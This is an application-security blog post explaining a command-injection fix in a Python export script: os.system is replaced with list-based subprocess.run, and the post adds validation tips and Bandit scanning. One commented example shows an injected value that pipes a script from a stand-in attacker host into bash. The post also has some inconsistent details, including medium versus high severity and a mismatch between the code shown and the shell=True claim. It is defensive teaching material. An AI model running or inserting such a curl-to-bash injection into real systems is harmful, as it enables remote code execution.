Back to Blog
high SEVERITY5 min read

Subprocess Security: Fixing Command Injection Risks in Python Scripts

A medium-severity vulnerability was discovered in GitLab's export script where the subprocess module was used without proper security considerations, potentially enabling command injection attacks. This fix demonstrates why choosing the right process execution method is critical for application security, and how a simple module selection can make the difference between secure and vulnerable code.

O
By Orbis AppSec
Published March 28, 2026Reviewed June 3, 2026

Answer Summary

Command injection (CWE-78) occurs in Python when the subprocess module is used with `shell=True` or when user input is passed unsanitized to shell commands. This high-severity vulnerability in GitLab's export script was fixed by avoiding shell execution entirely, using list-based arguments with `subprocess.run()`, and validating all external input before passing it to system calls. The secure approach eliminates the shell interpreter from the execution chain, preventing attackers from injecting additional commands.

Vulnerability at a Glance

cweCWE-78
fixUse subprocess with shell=False and list-based arguments
riskArbitrary command execution on the server
languagePython
root causeUsing subprocess with shell=True and unsanitized input
vulnerabilityCommand Injection via subprocess

Introduction

Python's flexibility in executing system commands is both a powerful feature and a potential security minefield. A recent security fix in GitLab's codebase highlights a critical lesson: not all ways of running commands are created equal, and the wrong choice can open your application to command injection attacks.

The vulnerability, flagged by Bandit security scanner as B404, was found in scripts/export_claude_code_oauth.py. While the subprocess module itself isn't inherently dangerous, its misuse—particularly when combined with shell execution—can create serious security implications that every Python developer needs to understand.

The Vulnerability Explained

What Makes Subprocess Risky?

The Python subprocess module provides several ways to execute external commands, but they fall into two categories:

  1. Shell-based execution (dangerous): Commands are passed to a shell interpreter
  2. Direct execution (safer): Commands are executed directly without shell interpretation

When you use shell-based execution methods like subprocess.call() with shell=True, or worse, os.system(), the command string is processed by a shell interpreter (like bash or cmd.exe). This interpreter recognizes special characters and metacharacters such as:

  • ; - Command separator
  • | - Pipe operator
  • & - Background execution
  • $() or ` - Command substitution
  • > and < - Redirection operators

The Attack Vector

Consider this vulnerable code pattern:

import os
import sys

# Vulnerable: Using os.system() with f-string interpolation
command = f"{sys.executable} -m pip install some_package"
os.system(command)

While sys.executable itself is typically safe (it points to the Python interpreter), the problem lies in how os.system() processes the command:

Attack Scenario:

If an attacker can manipulate the execution environment—perhaps through environment variables, configuration files, or by placing a malicious Python executable in the PATH—they could inject malicious commands:

# If sys.executable somehow becomes:
# "/usr/bin/python3; curl http://attacker.com/steal.sh | bash; #"

# The executed command becomes:
# /usr/bin/python3; curl http://attacker.com/steal.sh | bash; # -m pip install some_package

# This executes three commands:
# 1. /usr/bin/python3 (fails but continues)
# 2. curl http://attacker.com/steal.sh | bash (executes malicious script)
# 3. Everything after # is ignored as a comment

Real-World Impact

The consequences of command injection can be severe:

  • Data exfiltration: Attackers can read sensitive files and transmit them externally
  • System compromise: Full control over the server running the script
  • Lateral movement: Using the compromised system as a foothold to attack other systems
  • Denial of service: Crashing services or consuming resources
  • Backdoor installation: Persistent access for future attacks

The Fix

What Changed?

The fix involves replacing shell-based execution with direct process invocation. Here's the secure approach:

Before (Vulnerable):

import os
import sys

# Dangerous: Shell interprets metacharacters
command = f"{sys.executable} -m pip install package_name"
os.system(command)

After (Secure):

import subprocess
import sys

# Secure: Direct execution without shell
subprocess.run(
    [sys.executable, "-m", "pip", "install", "package_name"],
    check=True,
    capture_output=True
)

Why This Works

The secure version uses subprocess.run() with a list of arguments instead of a single string. This approach:

  1. Bypasses the shell entirely: No shell interpreter means no metacharacter processing
  2. Treats each argument literally: Spaces and special characters are part of the argument, not commands
  3. Prevents injection: Even if an argument contains ; or |, it's passed as a literal string to the program
  4. Provides better control: Options like check=True for error handling and capture_output=True for output management

Additional Security Improvements

import subprocess
import sys
from pathlib import Path

# Even more secure: Validate inputs
def safe_pip_install(package_name):
    # Validate package name format
    if not package_name.replace("-", "").replace("_", "").isalnum():
        raise ValueError("Invalid package name")

    # Use absolute path for Python executable
    python_exe = Path(sys.executable).resolve()

    # Execute without shell
    result = subprocess.run(
        [str(python_exe), "-m", "pip", "install", package_name],
        check=True,
        capture_output=True,
        text=True,
        timeout=300  # Prevent hanging
    )

    return result.stdout

Prevention & Best Practices

1. Always Prefer Direct Execution

DO:

# Correct: List of arguments
subprocess.run(["ls", "-la", "/tmp"])

DON'T:

# Wrong: String with shell=True
subprocess.run("ls -la /tmp", shell=True)

2. Use Security Scanning Tools

Integrate tools like Bandit into your CI/CD pipeline:

pip install bandit
bandit -r your_project/ -f json -o bandit-report.json

Bandit will flag issues like:
- B404: Use of subprocess module (requires review)
- B602: Use of shell=True in subprocess
- B605: Use of shell=True with untrusted input
- B607: Starting a process with a partial executable path

3. Input Validation and Sanitization

Even with direct execution, validate inputs:

import re
import subprocess

def execute_safe_command(user_input):
    # Whitelist validation
    if not re.match(r'^[a-zA-Z0-9_-]+$', user_input):
        raise ValueError("Invalid input format")

    # Use validated input
    subprocess.run(["echo", user_input], check=True)

4. Apply Principle of Least Privilege

  • Run scripts with minimal necessary permissions
  • Use containerization to isolate execution environments
  • Implement proper access controls on sensitive scripts

5. Security Standards Reference

This vulnerability relates to:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • OWASP Top 10 2021 - A03:2021: Injection
  • MITRE ATT&CK T1059: Command and Scripting Interpreter

6. Code Review Checklist

When reviewing code that executes external commands:

  • [ ] Is shell=True used? (Red flag)
  • [ ] Is os.system() used? (Red flag)
  • [ ] Are user inputs incorporated into commands?
  • [ ] Is input validation implemented?
  • [ ] Are arguments passed as a list?
  • [ ] Are error cases handled properly?
  • [ ] Is there timeout protection?

Conclusion

The fix applied to GitLab's export script serves as an important reminder that security often comes down to choosing the right tool for the job. While Python's subprocess module is powerful, using it securely requires understanding the difference between shell-based and direct execution.

Key Takeaways:

  1. Avoid shell execution whenever possible—use subprocess.run() with argument lists
  2. Never use os.system() for executing commands in production code
  3. Implement defense in depth: Combine secure APIs with input validation and least privilege
  4. Automate security scanning: Tools like Bandit catch these issues before they reach production
  5. Stay educated: Security is an ongoing practice, not a one-time fix

By following these practices and learning from fixes like this one, we can build more secure applications and reduce the attack surface available to malicious actors. Remember: secure code isn't just about what works—it's about what can't be broken.


Additional Resources:

Frequently Asked Questions

What is command injection?

Command injection is a security vulnerability where an attacker can execute arbitrary operating system commands on a server by manipulating input that gets passed to shell commands.

How do you prevent command injection in Python?

Prevent command injection by using subprocess with shell=False, passing arguments as a list instead of a string, validating and sanitizing all user input, and using the shlex module for safe string splitting when necessary.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is not sufficient. While it helps reduce risk, the most effective prevention combines validation with secure coding practices like avoiding shell=True and using list-based arguments in subprocess calls.

Can static analysis detect command injection?

Yes, static analysis tools like Bandit (B404, B602, B603) can detect potential command injection vulnerabilities by identifying dangerous subprocess usage patterns, though manual review is still recommended for complex cases.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1289

Related Articles

critical

Shell Injection in mkmultidtb.py: How String Concatenation with os.system() Enabled Arbitrary Code Execution

A critical shell injection vulnerability in `scripts/mkmultidtb.py` allowed attackers to execute arbitrary commands during the kernel build process by injecting shell metacharacters into device tree binary (DTB) filenames. The vulnerability was caused by using `os.system()` with string concatenation instead of proper subprocess argument handling. This fix migrates to `subprocess.run()` with argument lists, eliminating the attack surface entirely.

high

How missing Dependabot cooldown happens in GitHub Actions and how to fix it

A high-severity configuration vulnerability was discovered in a `.github/dependabot.yml` file that lacked a cooldown period for package updates. Without this safeguard, Dependabot could immediately propose updates to newly published package versions—including potentially malicious or unstable releases. The fix adds a simple `cooldown` block with a 7-day waiting period before any new package version is suggested.

high

How Server-Sent Events Injection via Unsanitized Newlines happens in Node.js h3 and how to fix it

A high-severity Server-Sent Events (SSE) injection vulnerability (CVE-2026-33128) was discovered in the h3 HTTP framework, where unsanitized newline characters in event stream fields could allow attackers to inject arbitrary SSE messages. The fix upgrades h3 from version 1.15.5 to 1.15.6 in the frontend's dependency tree, ensuring that newline characters are properly sanitized before being written to event streams.

high

How buffer overflow from unsafe string copy functions happens in C network interface code and how to fix it

A high-severity buffer overflow vulnerability was discovered in `generic/eth-impl.c`, where unsafe `strncpy()` and `sprintf()` calls could write beyond buffer boundaries when handling network interface names and device filenames. The fix replaced these dangerous functions with bounded `snprintf()` calls that guarantee null-termination and prevent memory corruption.

high

How Memory Exhaustion via Large Comma-Separated Selector Lists happens in Python Soup Sieve and how to fix it

A high-severity memory exhaustion vulnerability (CVE-2026-49476) was discovered in Soup Sieve version 2.8.3, affecting Python applications that parse CSS selectors from user-controlled input. The vulnerability allows attackers to craft malicious selector lists that consume excessive memory, potentially causing denial of service. The fix involves upgrading to soupsieve 2.8.4, which implements proper resource limits on selector parsing.

high

How prototype pollution via `__proto__` key happens in Node.js defu and how to fix it

A high-severity prototype pollution vulnerability (CVE-2026-35209) was discovered in the `defu` package version 6.1.4, which allowed attackers to inject properties into JavaScript's `Object.prototype` via the `__proto__` key in defaults arguments. The fix upgrades `defu` to version 6.1.5 in the frontend's dependency tree, protecting downstream consumers like `c12` and `dotenv` configuration loaders from malicious property injection.